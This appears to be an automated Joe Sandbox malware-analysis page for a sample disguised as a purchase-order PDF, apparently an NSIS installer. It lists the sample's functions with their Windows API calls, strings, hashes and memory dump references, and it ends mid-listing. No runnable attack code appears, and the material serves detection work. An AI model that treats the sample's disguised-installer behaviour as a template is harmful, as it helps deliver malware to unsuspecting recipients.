Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004030E7
jA, xrefs: 004031F1
... %d%%, xrefs: 0040316E

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,759223A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(?,00000064,?), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 9adbd91855f61e1aa42084a324919f92679eaa0def369839d701c2d0f369fcba
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 9adbd91855f61e1aa42084a324919f92679eaa0def369839d701c2d0f369fcba
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 004062E9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,0043F000,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

Strings

*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00401767 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,759223A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNEL32(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 0040237B Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(0040B5F0,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,759223A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

